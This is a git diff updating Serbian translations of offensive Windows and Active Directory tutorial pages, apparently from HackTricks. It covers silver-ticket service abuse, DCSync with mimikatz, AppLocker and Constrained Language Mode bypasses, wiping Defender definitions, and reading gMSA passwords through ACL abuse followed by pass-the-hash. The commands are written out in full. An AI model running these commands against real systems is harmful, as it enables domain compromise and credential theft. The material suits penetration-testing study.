Da biste sprečili da mašine rotiraju svoje lozinke svakih 30 dana, podesite `HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1` ili možete podesiti `HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge` na veću vrednost od 30 dana da naznačite period rotacije kada lozinka mašine treba da bude promenjena.
|
||||
|
||||
## Zloupotreba Service tickets
|
||||
## Zloupotreba Service tiketa
|
||||
|
||||
U sledećim primerima, pretpostavimo da je ticket dobijen lažno predstavljajući se kao administratorski nalog.
|
||||
U sledećim primerima pretpostavimo da je tiket pribavljen predstavljanjem administratorskog naloga.
|
||||
|
||||
### CIFS
|
||||
|
||||
Sa ovim ticket-om moći ćete pristupiti folderima `C$` i `ADMIN$` putem **SMB** (ako su izloženi) i kopirati fajlove na deo udaljenog fajl sistema radeći nešto poput:
|
||||
Sa ovim tiketom moći ćete da pristupite folderima `C$` i `ADMIN$` preko **SMB** (ako su izloženi) i kopirate fajlove u deo udaljenog fajl sistema jednostavnim izvršavanjem nečeg poput:
|
||||
```bash
|
||||
dir \\vulnerable.computer\C$
|
||||
dir \\vulnerable.computer\ADMIN$
|
||||
copy afile.txt \\vulnerable.computer\C$\Windows\Temp
|
||||
```
|
||||
Takođe ćete moći da dobijete shell unutar hosta ili da izvršavate proizvoljne komande koristeći **psexec**:
|
||||
Takođe ćete moći da dobijete shell unutar hosta ili izvršite proizvoljne commands koristeći **psexec**:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -119,7 +120,7 @@ Takođe ćete moći da dobijete shell unutar hosta ili da izvršavate proizvoljn
|
||||
|
||||
### HOST
|
||||
|
||||
Sa ovom dozvolom možete da kreirate zakazane zadatke na udaljenim računarima i izvršavate proizvoljne komande:
|
||||
Sa ovom dozvolom možete kreirati scheduled tasks na remote computers i izvršavati proizvoljne commands:
|
||||
```bash
|
||||
#Check you have permissions to use schtasks over a remote server
|
||||
schtasks /S some.vuln.pc
|
||||
@ -133,7 +134,7 @@ schtasks /Run /S mcorp-dc.moneycorp.local /TN "SomeTaskName"
|
||||
```
|
||||
### HOST + RPCSS
|
||||
|
||||
Sa ovim ticketima možete **pokrenuti WMI na žrtvinom sistemu**:
|
||||
Pomoću ovih tickets možete **izvršiti WMI na sistemu žrtve**:
|
||||
```bash
|
||||
#Check you have enough privileges
|
||||
Invoke-WmiMethod -class win32_operatingsystem -ComputerName remote.computer.local
|
||||
@ -152,7 +153,7 @@ Pronađite **više informacija o wmiexec** na sledećoj stranici:
|
||||
|
||||
### HOST + WSMAN (WINRM)
|
||||
|
||||
Uz winrm pristup računaru možete mu **pristupiti** i čak dobiti PowerShell:
|
||||
Sa winrm pristupom na računaru možete mu pristupiti i čak dobiti PowerShell:
|
||||
```bash
|
||||
New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC
|
||||
```
|
||||
@ -164,11 +165,11 @@ Pogledajte sledeću stranicu da saznate **još načina za povezivanje sa udaljen
|
||||
{{#endref}}
|
||||
|
||||
> [!WARNING]
|
||||
> Obratite pažnju da **winrm mora biti aktivan i osluškivati** na udaljenom računaru da biste mu pristupili.
|
||||
> Imajte na umu da **winrm mora biti aktivan i osluškivati** na udaljenom računaru da biste mu pristupili.
|
||||
|
||||
### LDAP
|
||||
|
||||
Sa ovom privilegijom možete izvršiti dump DC baze podataka koristeći **DCSync**:
|
||||
Sa ovim privilegijama možete preuzeti kopiju baze podataka DC-a koristeći **DCSync**:
|
||||
```
|
||||
mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.local /user:krbtgt
|
||||
```
|
||||
|
@ -1,13 +1,13 @@
|
||||
# Windows bezbednosne kontrole
|
||||
# Kontrole bezbednosti Windowsa
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## AppLocker politika
|
||||
|
||||
Lista dozvoljenih aplikacija je spisak odobrenih softverskih aplikacija ili izvršnih fajlova koji su dozvoljeni da budu prisutni i pokrenuti na sistemu. Cilj je zaštititi okruženje od štetnog malware-a i neodobrenog softvera koji nije u skladu sa specifičnim poslovnim potrebama organizacije.
|
||||
Lista dozvoljenih aplikacija (application whitelist) je spisak odobrenih softverskih aplikacija ili izvršnih fajlova koji su dozvoljeni da budu prisutni i pokreću se na sistemu. Cilj je zaštititi okruženje od štetnog malware-a i neodobrenog softvera koji nije u skladu sa specifičnim poslovnim potrebama organizacije.
|
||||
|
||||
[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) je Microsoftovo rešenje za aplikacionu belu listu i daje sistemskim administratorima kontrolu nad **koje aplikacije i fajlove korisnici mogu pokretati**. Omogućava **preciznu kontrolu** nad izvršnim fajlovima, skriptama, Windows installer fajlovima, DLL-ovima, pakovanim aplikacijama i pakovanim installerima aplikacija.\
|
||||
Uobičajeno je da organizacije **blokiraju cmd.exe i PowerShell.exe** i pravo pisanja u određene direktorijume, **but this can all be bypassed**.
|
||||
[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) je Microsoftovo **rešenje za bele liste aplikacija** i daje administratorima sistema kontrolu nad **time koje aplikacije i fajlove korisnici mogu pokretati**. Pruža **detaljnu kontrolu** nad izvršnim fajlovima, skriptama, Windows installer fajlovima, DLL-ovima, paketiranim aplikacijama i instalaterima paketiranih aplikacija.\
|
||||
Uobičajeno je da organizacije **blokiraju cmd.exe i PowerShell.exe** i prava za upis u određene direktorijume, **ali sve to se može zaobići**.
|
||||
|
||||
### Provera
|
||||
|
||||
@ -20,60 +20,60 @@ Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
|
||||
$a = Get-ApplockerPolicy -effective
|
||||
$a.rulecollections
|
||||
```
|
||||
Ova putanja u registru sadrži konfiguracije i politike koje primenjuje AppLocker, i omogućava pregled trenutnog skupa pravila koja se sprovode na sistemu:
|
||||
Ova putanja u registru sadrži konfiguracije i politike koje primenjuje AppLocker, omogućavajući pregled trenutnog skupa pravila koja se sprovode na sistemu:
|
||||
|
||||
- `HKLM\Software\Policies\Microsoft\Windows\SrpV2`
|
||||
|
||||
### Zaobilaženje
|
||||
### Bypass
|
||||
|
||||
- Korisni direktorijumi u koje se može pisati za zaobilaženje AppLocker politike: Ako AppLocker dozvoljava izvršavanje bilo čega unutar `C:\Windows\System32` ili `C:\Windows`, postoje direktorijumi u koje se može pisati koje možete iskoristiti da ovo zaobiđete.
|
||||
- Korisne **Writable folders** za bypass AppLocker Policy: Ako AppLocker dozvoljava izvršavanje bilo čega unutar `C:\Windows\System32` ili `C:\Windows`, postoje **writable folders** koje možete koristiti da **bypass this**.
|
||||
```
|
||||
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
|
||||
C:\Windows\System32\spool\drivers\color
|
||||
C:\Windows\Tasks
|
||||
C:\windows\tracing
|
||||
```
|
||||
- Uobičajeno **pouzdani** [**"LOLBAS's"**](https://lolbas-project.github.io/) binarni fajlovi takođe mogu biti korisni za zaobilaženje AppLocker-a.
|
||||
- **Loše napisana pravila** takođe se mogu zaobići
|
||||
- Na primer, **`<FilePathCondition Path="%OSDRIVE%*\allowed*"/>`**, možete kreirati **folder nazvan `allowed`** bilo gde i biće dozvoljen.
|
||||
- Organizacije često fokusiraju blokiranje **`%System32%\WindowsPowerShell\v1.0\powershell.exe`** izvršnog fajla, ali zaborave na **druge** [**PowerShell executable locations**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) kao što su `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` ili `PowerShell_ISE.exe`.
|
||||
- **DLL enforcement** retko je omogućena zbog dodatnog opterećenja koje može staviti na sistem i količine testiranja potrebnog da se osigura da ništa neće puknuti. Dakle, korišćenje **DLL-ova kao backdoora** pomaže u zaobilaženju AppLockera.
|
||||
- Možete koristiti [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) ili [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) da **izvršite PowerShell** kod u bilo kom procesu i zaobiđete AppLocker. Za više informacija pogledajte: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode).
|
||||
- Često **pouzdani** [**"LOLBAS's"**](https://lolbas-project.github.io/) binari mogu takođe biti korisni za zaobilaženje AppLocker-a.
|
||||
- **Loše napisana pravila se takođe mogu zaobići**
|
||||
- Na primer, **`<FilePathCondition Path="%OSDRIVE%*\allowed*"/>`**, možete kreirati **folder pod nazivom `allowed`** bilo gde i biće dozvoljen.
|
||||
- Organizacije često fokusiraju na **blokiranje `%System32%\WindowsPowerShell\v1.0\powershell.exe` izvršne datoteke**, ali zaborave na **druge** [**PowerShell executable locations**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) kao što su `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` ili `PowerShell_ISE.exe`.
|
||||
- **DLL enforcement very rarely enabled** zbog dodatnog opterećenja koje može prouzrokovati sistemu, i količine testiranja potrebne da se osigura da ništa neće puknuti. Dakle, korišćenje **DLLs as backdoors will help bypassing AppLocker**.
|
||||
- Možete koristiti [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) ili [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) da **execute Powershell** kod u bilo kojem procesu i zaobiđete AppLocker. Za više informacija pogledajte: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode).
|
||||
|
||||
## Čuvanje kredencijala
|
||||
## Credentials Storage
|
||||
|
||||
### Menadžer sigurnosnih naloga (SAM)
|
||||
### Security Accounts Manager (SAM)
|
||||
|
||||
Lokalni kredencijali se nalaze u ovom fajlu, lozinke su heširane.
|
||||
Lokalni kredencijali nalaze se u ovoj datoteci; lozinke su heširane.
|
||||
|
||||
### Lokalna sigurnosna vlast (LSA) - LSASS
|
||||
### Local Security Authority (LSA) - LSASS
|
||||
|
||||
**Kredencijali** (heširani) su **sačuvani** u **memoriji** ovog subsistema iz razloga Single Sign-On.\
|
||||
**LSA** administrira lokalnu **bezbednosnu politiku** (politika lozinki, dozvole korisnika...), **autentikaciju**, **access tokens**...\
|
||||
LSA će biti taj koji će **proveravati** prosleđene kredencijale unutar **SAM** fajla (za lokalnu prijavu) i **komunicirati** sa **domain controller-om** da autentifikuje korisnika domena.
|
||||
The **credentials** (hashed) are **saved** in the **memory** of this subsystem for Single Sign-On reasons.\
|
||||
**LSA** administrates the local **security policy** (password policy, users permissions...), **authentication**, **access tokens**...\
|
||||
LSA will be the one that will **check** for provided credentials inside the **SAM** file (for a local login) and **talk** with the **domain controller** to authenticate a domain user.
|
||||
|
||||
**Kredencijali** su **sačuvani** unutar **process-a LSASS**: Kerberos tiketi, NT i LM heševi, lako dešifrovane lozinke.
|
||||
The **credentials** are **saved** inside the **process LSASS**: Kerberos tickets, hashes NT and LM, easily decrypted passwords.
|
||||
|
||||
### LSA tajne
|
||||
### LSA secrets
|
||||
|
||||
LSA može sačuvati na disku neke kredencijale:
|
||||
LSA može sačuvati na disku određene kredencijale:
|
||||
|
||||
- Lozinka computer naloga Active Directory-ja (ako domain controller nije dostupan).
|
||||
- Lozinka računarskog naloga Active Directory (ako je domain controller nedostupan).
|
||||
- Lozinke naloga Windows servisa
|
||||
- Lozinke za scheduled tasks
|
||||
- Još (lozinke IIS aplikacija...)
|
||||
- Lozinke za zakazane zadatke
|
||||
- Još (lozinka IIS aplikacija...)
|
||||
|
||||
### NTDS.dit
|
||||
|
||||
To je baza podataka Active Directory-ja. Prisutna je samo na Domain Controller-ima.
|
||||
To je baza podataka Active Directory-ja. Prisutan je samo na Domain Controllers.
|
||||
|
||||
## Defender
|
||||
|
||||
[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) je antivirus dostupan u Windows 10 i Windows 11, kao i u verzijama Windows Server-a. On **blokira** uobičajene pentesting alate kao što su **`WinPEAS`**. Međutim, postoje načini da se **zaobiđu ove zaštite**.
|
||||
[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) je Antivirus dostupan u Windows 10 i Windows 11, i u verzijama Windows Server. On **blokira** uobičajene pentesting alate kao što su **`WinPEAS`**. Međutim, postoje načini da se ove zaštite **zaobiđu**.
|
||||
|
||||
### Provera
|
||||
### Check
|
||||
|
||||
Da biste proverili **status** **Defender-a** možete pokrenuti PS cmdlet **`Get-MpComputerStatus`** (proverite vrednost **`RealTimeProtectionEnabled`** da znate da li je aktivan):
|
||||
Da biste proverili **status** Defender-a možete izvršiti PS cmdlet **`Get-MpComputerStatus`** (proverite vrednost **`RealTimeProtectionEnabled`** da znate da li je aktivan):
|
||||
|
||||
<pre class="language-powershell"><code class="lang-powershell">PS C:\> Get-MpComputerStatus
|
||||
|
||||
@ -92,7 +92,7 @@ NISEngineVersion : 0.0.0.0
|
||||
PSComputerName :
|
||||
</code></pre>
|
||||
|
||||
Za enumeraciju ga takođe možete pokrenuti:
|
||||
Za enumeraciju možete takođe pokrenuti:
|
||||
```bash
|
||||
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
|
||||
wmic /namespace:\\root\securitycenter2 path antivirusproduct
|
||||
@ -101,36 +101,36 @@ sc query windefend
|
||||
#Delete all rules of Defender (useful for machines without internet access)
|
||||
"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
|
||||
```
|
||||
## Sistem za enkripciju fajlova (EFS)
|
||||
## Šifrovani fajl sistem (EFS)
|
||||
|
||||
EFS štiti fajlove pomoću enkripcije, koristeći **simetrični ključ** poznat kao **File Encryption Key (FEK)**. Ovaj ključ se šifruje korisnikovim **javnim ključem** i čuva u $EFS **alternative data stream** šifrovanog fajla. Kada je potrebno dešifrovanje, odgovarajući **privatni ključ** korisničkog digitalnog sertifikata koristi se za dešifrovanje FEK-a iz $EFS stream-a. Više detalja možete pronaći [here](https://en.wikipedia.org/wiki/Encrypting_File_System).
|
||||
EFS štiti fajlove enkripcijom, koristeći **simetrični ključ** poznat kao **File Encryption Key (FEK)**. Ovaj ključ je šifrovan korisnikovim **javni ključ** i smešten u šifrovanom fajlu's $EFS **alternative data stream**. Kada je potrebna dešifrovanje, odgovarajući **privatni ključ** korisnikovog digitalnog sertifikata se koristi za dešifrovanje FEK-a iz $EFS strima. Više detalja možete naći [here](https://en.wikipedia.org/wiki/Encrypting_File_System).
|
||||
|
||||
**Scenariji dešifrovanja bez inicijative korisnika** uključuju:
|
||||
**Slučajevi dešifrovanja bez inicijative korisnika** uključuju:
|
||||
|
||||
- Kada se fajlovi ili folderi premeste na fajl sistem koji nije EFS, kao što je [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table), oni se automatski dešifruju.
|
||||
- Šifrovani fajlovi poslati preko mreže koristeći SMB/CIFS protokol se dešifruju pre prenosa.
|
||||
- Kada se fajlovi ili fascikle prebace na fajl sistem koji nije EFS, kao što je [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table), oni se automatski dešifruju.
|
||||
- Šifrovani fajlovi koji se šalju preko mreže putem SMB/CIFS protokola dešifruju se pre prenosa.
|
||||
|
||||
Ova metoda enkripcije omogućava **transparentan pristup** šifrovanim fajlovima vlasniku. Međutim, samo menjanje vlasnikove lozinke i prijava neće obezbediti dešifrovanje.
|
||||
Ovaj metod enkripcije omogućava **transparentan pristup** šifrovanim fajlovima za vlasnika. Međutim, samo menjanje vlasnikove lozinke i prijava neće omogućiti dešifrovanje.
|
||||
|
||||
Zaključci:
|
||||
**Ključne napomene**:
|
||||
|
||||
- EFS koristi simetrični FEK, koji je šifrovan korisnikovim javnim ključem.
|
||||
- Dešifrovanje koristi korisnikov privatni ključ da pristupi FEK-u.
|
||||
- Automatsko dešifrovanje se dešava u specifičnim uslovima, kao što su kopiranje na FAT32 ili mrežni prenos.
|
||||
- Šifrovani fajlovi su vlasniku dostupni bez dodatnih koraka.
|
||||
- EFS koristi simetrični FEK, šifrovan korisnikovim javnim ključem.
|
||||
- Dešifrovanje koristi korisnikov privatni ključ za pristup FEK-u.
|
||||
- Automatsko dešifrovanje se događa u specifičnim uslovima, kao što su kopiranje na FAT32 ili mrežni prenos.
|
||||
- Šifrovani fajlovi su dostupni vlasniku bez dodatnih koraka.
|
||||
|
||||
### Provera informacija o EFS
|
||||
### Provera EFS informacija
|
||||
|
||||
Proverite da li je **korisnik** **koristio** ovu **uslugu** proverom da li postoji ovaj put:`C:\users\<username>\appdata\roaming\Microsoft\Protect`
|
||||
Proverite da li je **korisnik** koristio ovu **uslugu** proverom da li postoji putanja: `C:\users\<username>\appdata\roaming\Microsoft\Protect`
|
||||
|
||||
Proverite **ko** ima **pristup** fajlu koristeći cipher /c \<file>\
|
||||
Takođe možete koristiti `cipher /e` i `cipher /d` unutar foldera da **enkriptujete** i **dešifrujete** sve fajlove
|
||||
Proverite **ko** ima **pristup** fajlu koristeći `cipher /c \<file\>`
|
||||
Takođe možete koristiti `cipher /e` i `cipher /d` unutar foldera da **šifrujete** i **dešifrujete** sve fajlove
|
||||
|
||||
### Dekripcija EFS fajlova
|
||||
### Dešifrovanje EFS fajlova
|
||||
|
||||
#### Biti SYSTEM
|
||||
#### Kao SYSTEM nalog
|
||||
|
||||
Ovaj način zahteva da žrtvin **korisnik** pokreće neki **proces** na hostu. Ako je to slučaj, koristeći `meterpreter` sesiju možete imitirati token procesa tog korisnika (`impersonate_token` iz `incognito`). Ili jednostavno možete `migrate` u proces tog korisnika.
|
||||
Ovaj način zahteva da **žrtvovani korisnik** pokreće **proces** na hostu. Ako je to slučaj, koristeći `meterpreter` sesiju možete impersonirati token procesa korisnika (`impersonate_token` iz `incognito`). Ili možete jednostavno `migrate` u proces korisnika.
|
||||
|
||||
#### Poznavanje lozinke korisnika
|
||||
|
||||
@ -139,17 +139,17 @@ Ovaj način zahteva da žrtvin **korisnik** pokreće neki **proces** na hostu. A
|
||||
https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files
|
||||
{{#endref}}
|
||||
|
||||
## Grupni upravljani servisni nalozi (gMSA)
|
||||
## Grupno upravljani servisni nalozi (gMSA)
|
||||
|
||||
Microsoft je razvio **Group Managed Service Accounts (gMSA)** da pojednostavi upravljanje servisnim nalozima u IT infrastrukturi. Za razliku od tradicionalnih servisnih naloga koji često imaju uključenu opciju "**Password never expire**", gMSA pružaju sigurnije i jednostavnije rešenje:
|
||||
Microsoft je razvio **Group Managed Service Accounts (gMSA)** da pojednostavi upravljanje servisnim nalozima u IT infrastrukturi. Za razliku od tradicionalnih servisnih naloga koji često imaju omogućeno podešavanje "**Password never expire**", gMSA nude sigurnije i lakše za upravljanje rešenje:
|
||||
|
||||
- **Automatsko upravljanje lozinkom**: gMSA koriste kompleksnu, 240-karakternu lozinku koja se automatski menja u skladu sa politikom domena ili računara. Ovaj proces obavlja Microsoft-ov Key Distribution Service (KDC), eliminišući potrebu za ručnim ažuriranjem lozinki.
|
||||
- **Povećana bezbednost**: ovi nalozi su imuni na zaključavanja i ne mogu se koristiti za interaktivne prijave, što poboljšava bezbednost.
|
||||
- **Podrška za više hostova**: gMSA se mogu deliti na više hostova, što ih čini idealnim za servise koji rade na više servera.
|
||||
- **Mogućnost zakazanih zadataka**: za razliku od managed service accounts, gMSA podržavaju pokretanje zakazanih zadataka.
|
||||
- **Pojednostavljeno upravljanje SPN-om**: sistem automatski ažurira Service Principal Name (SPN) kada dođe do promena u sAMaccount detaljima računara ili DNS imenu, što pojednostavljuje upravljanje SPN-om.
|
||||
- **Automatic Password Management**: gMSA koriste kompleksnu lozinku od 240 karaktera koja se automatski menja u skladu sa politikom domena ili računara. Ovaj proces je u nadležnosti Microsoft's Key Distribution Service (KDC), eliminišući potrebu za ručnim ažuriranjem lozinki.
|
||||
- **Enhanced Security**: Ovi nalozi su imuni na zaključavanja i ne mogu se koristiti za interaktivne prijave, čime se povećava njihova sigurnost.
|
||||
- **Multiple Host Support**: gMSA se mogu deliti između više hostova, što ih čini pogodnim za servise koji rade na više servera.
|
||||
- **Scheduled Task Capability**: Za razliku od managed service accounts, gMSA podržavaju izvršavanje zakazanih zadataka.
|
||||
- **Simplified SPN Management**: Sistem automatski ažurira Service Principal Name (SPN) kada dođe do promena u sAMAccount imenima računara ili DNS imenu, čime se pojednostavljuje upravljanje SPN-ovima.
|
||||
|
||||
Lozinke za gMSA se čuvaju u LDAP atributu _**msDS-ManagedPassword**_ i automatski se resetuju svakih 30 dana od strane Domain Controller-a (DC). Ova lozinka, enkriptovani data blob poznat kao [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e), može biti dohvaćena samo od strane autorizovanih administratora i servera na kojima su gMSA instalirani, što obezbeđuje sigurno okruženje. Za pristup ovim informacijama potreban je zaštićen konekcija kao što je LDAPS, ili konekcija mora biti autentifikovana sa 'Sealing & Secure'.
|
||||
Lozinke za gMSA se čuvaju u LDAP svojstvu _**msDS-ManagedPassword**_ i automatski se resetuju na svakih 30 dana od strane Domain Controller-a (DC). Ova lozinka, enkriptovani data blob poznat kao [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e), može da bude preuzeta samo od strane ovlašćenih administratora i servera na kojima su gMSA instalirani, čime se obezbeđuje bezbedno okruženje. Za pristup ovim informacijama potreban je zaštićeni konekcija kao što je LDAPS, ili konekcija mora biti autentifikovana sa 'Sealing & Secure'.
|
||||
|
||||

|
||||
|
||||
@ -159,46 +159,46 @@ Ovu lozinku možete pročitati pomoću [**GMSAPasswordReader**](https://github.c
|
||||
```
|
||||
[**Find more info in this post**](https://cube0x0.github.io/Relaying-for-gMSA/)
|
||||
|
||||
Takođe, pogledajte ovu [web page](https://cube0x0.github.io/Relaying-for-gMSA/) o tome kako izvesti **NTLM relay attack** da biste pročitali **lozinku** **gMSA**.
|
||||
Takođe, pogledajte ovu [web page](https://cube0x0.github.io/Relaying-for-gMSA/) o tome kako izvesti **NTLM relay attack** da biste pročitali **password** od **gMSA**.
|
||||
|
||||
### Zloupotreba povezivanja ACL-ova za čitanje upravljane lozinke gMSA (GenericAll -> ReadGMSAPassword)
|
||||
### Zloupotreba ACL chaining-a za čitanje gMSA managed password (GenericAll -> ReadGMSAPassword)
|
||||
|
||||
U mnogim okruženjima, korisnici sa niskim privilegijama mogu doći do tajni gMSA bez kompromitovanja DC-a zloupotrebom pogrešno konfigurisanim ACL-ovima objekata:
|
||||
U mnogim okruženjima, korisnici sa niskim privilegijama mogu da dođu do gMSA tajni bez kompromitovanja DC-a zloupotrebom pogrešno konfigurisanih object ACL-ova:
|
||||
|
||||
- Grupi kojom možete upravljati (npr. preko GenericAll/GenericWrite) dodeljeno je `ReadGMSAPassword` nad gMSA.
|
||||
- Dodavanjem sebe u tu grupu nasleđujete pravo da pročitate `msDS-ManagedPassword` blob gMSA preko LDAP-a i dođete do upotrebljivih NTLM kredencijala.
|
||||
- Grupi kojom možete da upravljate (npr. preko GenericAll/GenericWrite) je dodeljeno `ReadGMSAPassword` nad gMSA.
|
||||
- Dodavanjem sebe u tu grupu nasledite pravo da pročitate gMSA-ov `msDS-ManagedPassword` blob preko LDAP-a i izvedete upotrebljive NTLM credentials.
|
||||
|
||||
Tipičan tok rada:
|
||||
|
||||
1) Pronađite put pomoću BloodHound i označite svoje foothold principals kao Owned. Potražite ivice kao:
|
||||
1) Otkrijte put koristeći BloodHound i označite vaše foothold principals kao Owned. Potražite veze poput:
|
||||
- GroupA GenericAll -> GroupB; GroupB ReadGMSAPassword -> gMSA
|
||||
|
||||
2) Dodajte sebe u posrednu grupu kojom upravljate (primer sa bloodyAD):
|
||||
2) Dodajte sebe u međugrupu kojom upravljate (primer sa bloodyAD):
|
||||
```bash
|
||||
bloodyAD --host <DC.FQDN> -d <domain> -u <user> -p <pass> add groupMember <GroupWithReadGmsa> <user>
|
||||
```
|
||||
3) Pročitajte upravljanu lozinku gMSA preko LDAP-a i izvedite NTLM hash. NetExec automatizuje ekstrakciju `msDS-ManagedPassword` i konverziju u NTLM:
|
||||
3) Pročitajte gMSA upravljanu lozinku preko LDAP-a i izvedite NTLM hash. NetExec automatizuje ekstrakciju `msDS-ManagedPassword` i konverziju u NTLM:
|
||||
```bash
|
||||
# Shows PrincipalsAllowedToReadPassword and computes NTLM automatically
|
||||
netexec ldap <DC.FQDN> -u <user> -p <pass> --gmsa
|
||||
# Account: mgtsvc$ NTLM: edac7f05cded0b410232b7466ec47d6f
|
||||
```
|
||||
4) Autentifikujte se kao gMSA koristeći NTLM hash (nije potreban plaintext). Ako je nalog u Remote Management Users, WinRM će raditi direktno:
|
||||
Autentifikujte se kao gMSA koristeći NTLM hash (nije potreban plaintext). Ako je nalog u Remote Management Users, WinRM će raditi direktno:
|
||||
```bash
|
||||
# SMB / WinRM as the gMSA using the NT hash
|
||||
netexec smb <DC.FQDN> -u 'mgtsvc$' -H <NTLM>
|
||||
netexec winrm <DC.FQDN> -u 'mgtsvc$' -H <NTLM>
|
||||
```
|
||||
Napomene:
|
||||
- LDAP čitanja atributa `msDS-ManagedPassword` zahtevaju sealing (npr. LDAPS/sign+seal). Alati ovo automatski obrađuju.
|
||||
- gMSA-ima se često dodeljuju lokalna prava kao što je WinRM; proverite članstvo u grupama (npr. Remote Management Users) da biste planirali lateral movement.
|
||||
- Ako vam je potreban samo blob da sami izračunate NTLM, pogledajte strukturu MSDS-MANAGEDPASSWORD_BLOB.
|
||||
- LDAP čitanja atributa `msDS-ManagedPassword` zahtevaju sealing (npr. LDAPS/sign+seal). Alati to obično odrade automatski.
|
||||
- gMSAs često dobijaju lokalna prava kao što su WinRM; proverite članstvo u grupama (npr. Remote Management Users) da biste planirali lateral movement.
|
||||
- Ako vam treba samo blob da biste sami izračunali NTLM, pogledajte strukturu MSDS-MANAGEDPASSWORD_BLOB.
|
||||
|
||||
|
||||
|
||||
## LAPS
|
||||
|
||||
The **Local Administrator Password Solution (LAPS)**, available for download from [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), omogućava upravljanje lokalnim Administrator lozinkama. Ove lozinke, koje su **nasumično generisane**, jedinstvene i **redovno menjane**, čuvaju se centralno u Active Directory. Pristup ovim lozinkama je ograničen ACL-ima samo za ovlašćene korisnike. Ako su dodeljena odgovarajuća prava, omogućeno je čitanje lokalnih admin lozinki.
|
||||
The **Local Administrator Password Solution (LAPS)**, available for download from [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), omogućava upravljanje lokalnim lozinkama Administratora. Ove lozinke, koje su **nasumično generisane**, jedinstvene i **redovno menjane**, čuvaju se centralno u Active Directory. Pristup ovim lozinkama je ograničen putem ACLs samo ovlašćenim korisnicima. Ako su dodeljene dovoljne dozvole, omogućeno je čitanje lokalnih admin lozinki.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -207,9 +207,9 @@ The **Local Administrator Password Solution (LAPS)**, available for download fro
|
||||
|
||||
## PS Constrained Language Mode
|
||||
|
||||
PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **ograničava mnoge funkcionalnosti** potrebne za efikasno korišćenje PowerShell-a, kao što su blokiranje COM objekata, dozvoljavanje samo odobrenih .NET tipova, XAML-based workflows, PowerShell classes, i slično.
|
||||
PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **ograničava mnoge funkcije** potrebne za efikasno korišćenje PowerShell-a, kao što su blokiranje COM objekata, dopuštanje samo odobrenih .NET tipova, XAML-based workflows, PowerShell classes i drugo.
|
||||
|
||||
### **Proverite**
|
||||
### **Proveri**
|
||||
```bash
|
||||
$ExecutionContext.SessionState.LanguageMode
|
||||
#Values could be: FullLanguage or ConstrainedLanguage
|
||||
@ -219,8 +219,8 @@ $ExecutionContext.SessionState.LanguageMode
|
||||
#Easy bypass
|
||||
Powershell -version 2
|
||||
```
|
||||
Na aktuelnim verzijama Windows-a taj Bypass neće raditi, ali možete koristiti[ **PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM).\
|
||||
**Za kompajliranje možda ćete morati** **da** _**Dodate referencu**_ -> _Browse_ ->_Browse_ -> dodajte `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` i **promenite projekat na .Net4.5**.
|
||||
U trenutnim verzijama Windows-a taj Bypass neće raditi, ali možete koristiti[ **PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM).\
|
||||
**Za kompajliranje možda ćete morati** **da** _**Add a Reference**_ -> _Browse_ ->_Browse_ -> dodajte `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` i **promenite projekat na .Net4.5**.
|
||||
|
||||
#### Direktan bypass:
|
||||
```bash
|
||||
@ -230,11 +230,11 @@ C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogTo
|
||||
```bash
|
||||
